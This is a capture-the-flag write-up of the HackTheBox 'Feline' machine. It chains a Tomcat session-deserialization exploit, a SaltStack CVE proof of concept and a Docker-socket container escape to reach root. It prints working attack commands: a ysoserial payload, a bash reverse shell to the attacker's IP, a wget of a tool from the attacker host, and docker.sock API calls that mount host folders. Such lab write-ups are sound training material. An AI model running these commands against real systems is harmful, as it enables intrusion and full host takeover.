image-20200902152351473

Author: Ikonw

Nmap scan:

Making a script scan on all ports

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-31 06:52 EDT
Nmap scan report for 10.10.10.205
Host is up (0.0066s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.27
|_http-title: VirusBucket
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds

The web seems something related to online malware analyze?

only service are available

Found out script.js is loaded

image-20200902134557499


let photo = document.getElementById("uploadFile").files[0];
let req = new XMLHttpRequest();
let email = document.getElementById("email").value;
let formData = new FormData();

formData.append("image", photo);

await fetch('/upload.jsp?email=' + email , { method: "POST", body: formData})
.then(response=>response.text())
.then(data=>{
if(data.includes("successfully")) {
document.getElementById("msg").innerText = "Upload successful! The report will be sent via e-mail.";
}
else {
document.getElementById("msg").innerText = "File upload failed";
}
})
.catch(function(error) {
document.getElementById("msg").innerText = "File upload failed";
});

Not too interesting, it fetch the upload.jsp

However if we upload an empty filename, it will cause the jsp to obtain an error. We found out the upload directory address /opt/samples/uploads

the upload directory is not within the web directory, I have no way to execute malicious payload and execute it through URL.

image-20200901202222343

After viewing the rating, it is a CVE-like Box. I don’t see any CMS or suspicious port

image-20200902135026807

So I went to google about the Apache Tomcat 9.0.27

And I found CVE-2020-9484

It has some prerequisites for this vulnerability

- The persistentManager is enabled and it's using a *FileStore* (Not too sure if this is enabled)
- The attacker is able to upload a file with arbitrary content, has control over the filename and knows the location where it is uploaded (We know the uploaded directory)
- There are gadgets in the *classpath* that can be used for a java deserialization attack

Docker environment

First, we have to generate a deserialization object session using ysoserial

Do take note that, due to Runtime.getRunTime().exec the arguments with spaces are broken by the StringTokenizer class.

We have to use base64 to encoding to reduce these issues

Reference

image-20200901215420440

┌──(root💀kali)-[~/Desktop/docker/ysoserial]
└─# java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 "$command" > ~/Desktop/hackthebox/Linux/feline/xing.session
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
┌──(root💀kali)-[~]
└─# curl 'http://10.129.6.132:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../../../../opt/samples/uploads/xing'

Using curl to pass the JSESSIONID and trigger the malicious session we sent. And we got the shell back.

image-20200901220111194

The user flag located at /home/tomcat/user.txt

Root

Via enumeration of network connection we found out 2 suspicious port 4506 and 4505

tomcat@VirusBucket:/opt/tomcat$ netstat -ntlp
netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4505 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4506 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33443 0.0.0.0:* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN 975/java
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN 975/java

After google we found it’s saltstack

CVE-2020-11651

And we manage to find the CVE, after we upload the poc, we found the victim doesn’t have python3 salt module.

We do a port forwarding using chisel

Chisel Github

Client>>  ./chisel_linux client <your ip>:<Port> -R:4506:127.0.0.1:4506
Server>> ./chisel_linux server -p <Port> --reverse

image-20200902142929771

Now we have the target port 4506 forward to our port 7777

Run the POC and execute the bash reverse shell command. And we got the shell back

python3 cve_2020-11651.py --exec 'bash -c "bash -i >& /dev/tcp/10.10.14.16/1234 0>&1"'

image-20200902143247467

However we didnt root the box just so easy. We have the escape the docker environment, get to the host.

root@2d24bf61767c:~# cat todo.txt
cat todo.txt
- Add saltstack support to auto-spawn sandbox dockers through events.
- Integrate changes to tomcat and make the service open to public.

After some enumeration, at the .bash_history

cat todo.txt 
printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cd /home/tomcat
cat /etc/passwd
exit
cd /root/
ls
cat todo.txt
ls -la /var/run/
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
exit

/var/run/docker.sock is used in this case.

docker.sock is a unix socket of docker daemon listens on default, it can be used to communicate with the daemon from within a container.

We are allow to send commands through the docker.sock to the docker daemon though API.

that means, we can create a new docker which volume bind to the whole host folder and execute malicious commands.

Escaping the Whale: Things you probably shouldn’t do with Docker (Part 1)

According the reference, first we have to get the current docker image

curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json
 {
"Id":"2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2",
"Names":[
"/saltstack"
],
"Image":"188a2704d8b0",
"ImageID":"sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9",
"Command":"/usr/bin/dumb-init /usr/local/bin/saltinit",
"Created":1593520419,
"Ports":[
{
"IP":"127.0.0.1",
"PrivatePort":4505,
"PublicPort":4505,
"Type":"tcp"
},
{
"IP":"127.0.0.1",
"PrivatePort":4506,
"PublicPort":4506,
"Type":"tcp"
},
{
"IP":"127.0.0.1",
"PrivatePort":8000,
"PublicPort":8000,
"Type":"tcp"
},
{
"PrivatePort":22,
"Type":"tcp"
}
],
"Labels":{

},
"State":"running",
"Status":"Up 13 hours",
"HostConfig":{
"NetworkMode":"default"
},
"NetworkSettings":{
"Networks":{
"bridge":{
"IPAMConfig":null,
"Links":null,
"Aliases":null,
"NetworkID":"c344406a0931eb00e8d81114b992959ed104064affada4bc6932702e39c45141",
"EndpointID":"a5e320e6a582086035e03f58b570d922c3c7c8be7f782222b47f7421b9bca4e5",
"Gateway":"172.17.0.1",
"IPAddress":"172.17.0.2",
"IPPrefixLen":16,
"IPv6Gateway":"",
"GlobalIPv6Address":"",
"GlobalIPv6PrefixLen":0,
"MacAddress":"02:42:ac:11:00:02",
"DriverOpts":null
}
}
},
"Mounts":[
{
"Type":"bind",
"Source":"/var/run/docker.sock",
"Destination":"/var/run/docker.sock",
"Mode":"",
"RW":true,
"Propagation":"rprivate"
}
]
}
]

Now we have the docker image name

Let’s create a json configuration file

echo -e '{"Image":"188a2704d8b0","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/root","Target":"/host_etc"}]}' > container.json

and we create the image using the container.json configuration file

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create

image-20200902145656343

Next start our malicious container

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/2aba/start

replace the 32d862 to the image id your created

after start the docker,use socat connect to the docker socket, however the machine doesnt have socat, we have to upload our own socat binary

root@2d24bf61767c:~# which wget
which wget
/usr/bin/wget
root@2d24bf61767c:~# which socat
which socat
root@2d24bf61767c:~# ls
ls
todo.txt
root@2d24bf61767c:~# wget 10.10.14.16:1337/socat
wget 10.10.14.16:1337/socat
--2020-09-02 07:14:12-- http://10.10.14.16:1337/socat
Connecting to 10.10.14.16:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 375176 (366K) [application/octet-stream]
Saving to: ‘socat’

0K .......... .......... .......... .......... .......... 13% 2.99M 0s
50K .......... .......... .......... .......... .......... 27% 6.38M 0s
100K .......... .......... .......... .......... .......... 40% 32.3M 0s
150K .......... .......... .......... .......... .......... 54% 7.64M 0s
200K .......... .......... .......... .......... .......... 68% 12.8M 0s
250K .......... .......... .......... .......... .......... 81% 6.75M 0s
300K .......... .......... .......... .......... .......... 95% 522K 0s
350K .......... ...... 100% 135M=0.1s

2020-09-02 07:14:12 (2.58 MB/s) - ‘socat’ saved [375176/375176]

root@2d24bf61767c:~# chmod +x socat
chmod +x socat

socat - UNIX-CONNECT:/var/run/docker.sock

POST /containers/2aba/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

and if it sucess, we receive

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

and we are able to access the folder and get the root flag now.




root